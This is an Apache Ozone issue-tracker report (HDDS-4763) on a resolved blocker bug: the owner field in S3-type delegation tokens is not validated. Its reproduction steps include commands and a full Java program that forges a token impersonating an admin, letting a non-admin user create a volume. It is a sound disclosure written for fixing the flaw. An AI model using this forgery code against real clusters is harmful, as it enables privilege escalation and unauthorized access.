Uploaded image for project: 'Apache Ozone'
  1. Apache Ozone
  2. HDDS-4763

Owner field of S3AUTHINFO type delegation token should be validated

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Resolved
    • Blocker
    • Resolution: Fixed
    • None
    • 1.1.0
    • None

    Description

      Delegation token of Ozone has two flavor:
      1. delegation token (based public key infrastructure provided by SCM CA)
      2. s3 token

      S3 token includes all the information which is required to validate a S3 HTTP request: aws access key id, string2sign, signature. OM can check the signature based on all this information which are stored in the OzoneTokenInfo.

      When the request is authenticated the owner field is used for all the following authentication. But the content of the follower field is not validated. It's filled by the S3g but any client can create a custom request where the Owner field contains a custom string.

      1. To reproduce start an ozonesecure cluster where testuser2 is not an admin. (The easiest way to achieve this is removing the hadoop.security.auth_to_local settings, as in our ozonesecure environment all users are mapped to local root which is admin)

      To make the test easier, groups can also be turned off:

       <property>
          <name>hadoop.security.group.mapping</name>
          <value>org.apache.hadoop.security.NullGroupsMapping</value>
        </property>
      

      2. Check if testuser2 is not an admin:

      kinit -kt /etc/security/keytabs/testuser2.keytab testuser2/scm
      
      klist
      Ticket cache: FILE:/tmp/krb5cc_1000
      Default principal: testuser2/scm@EXAMPLE.COM
      
      Valid starting     Expires            Service principal
      01/29/21 13:27:03  01/30/21 13:27:03  krbtgt/EXAMPLE.COM@EXAMPLE.COM
      	renew until 02/05/21 13:27:03
      
      
      ozone sh volume create /vol3
      PERMISSION_DENIED User testuser2/scm@EXAMPLE.COM doesn't have CREATE permission to access volume vol3 null null
      

      3. To create a s3 type delegation token we need valid string2sign and signature strings.

      ozone s3 getsecret
      

      Set the environment variables:

      AWS_ACCESS_KEY_ID=...
      AWS_SECRET_ACCESS_KEY=....
      

      Try to create a bucket (will be denied) with --debug flag:

      aws s3api --debug --endpoint=http://localhost:9878 create-bucket --bucket=bucket1
      

      Copy the signature and string2sign from the output:

      2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - StringToSign:
      AWS4-HMAC-SHA256
      20210129T140352Z
      20210129/us-west-1/s3/aws4_request
      ff6c0c767b0292cf3459d02ae1199d4c7786f3cca2f383a46b442f19d964d996
      2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - Signature:
      9830423f18ac1f90ec658d1b5c47bdd7765d67fdc0dc67393c162627bfa45789
      

      And execute a java app:

        public static void main(String[] args) throws Exception {
          OzoneConfiguration conf = new OzoneConfiguration();
          conf.set("ozone.om.address", "192.168.32.6");
      
          String awsAccessId = "testuser2/scm@EXAMPLE.COM";
      
          UserGroupInformation.setConfiguration(conf);
      
          UserGroupInformation remoteUser =
              UserGroupInformation.createRemoteUser(awsAccessId, AuthMethod.TOKEN);
      
          final Text omService = SecurityUtil.buildTokenService(OmUtils.
              getOmAddressForClients(conf));
          OzoneTokenIdentifier identifier = new OzoneTokenIdentifier();
          identifier.setTokenType(S3AUTHINFO);
          identifier.setStrToSign("AWS4-HMAC-SHA256\n"
              + "20210129T133557Z\n"
              + "20210129/us-west-1/s3/aws4_request\n"
              + "8fc985d9c7442c33d6f146ab123de49b18c83c4c6ccdfd182f10fc78691bdd53");
          identifier.setSignature(
              "044cf03375ea10b3e454b16887a1f5ce6ebb14d45b506dd7ac5e02fd0179ba7b");
          identifier.setAwsAccessId(awsAccessId);
          identifier.setOwner(new Text("testuser/scm@EXAMPLE.COM"));
          Token<OzoneTokenIdentifier> token = new Token(identifier.getBytes(),
              identifier.getSignature().getBytes(UTF_8),
              identifier.getKind(),
              omService);
      
          remoteUser.addToken(token);
      
          OzoneClient client = remoteUser.doAs(
              (PrivilegedExceptionAction<OzoneClient>) () -> OzoneClientFactory.getRpcClient(conf));
          client.getObjectStore().createVolume("vol2");
      
        }
      

      As a result /vol2 is created even if testuser2 is not an admin. Note: testuser IS an admin and setOwner used testuser instead of testuser2.

      A quick fix is to validate the owner field. A proper, long-term fix is disabling the s3 auth token type for client2server communication which can be done with HDDS-4440.

      Attachments

        Issue Links

          Activity

            People

              elek Marton Elek
              elek Marton Elek
              Votes:
              0 Vote for this issue
              Watchers:
              2 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: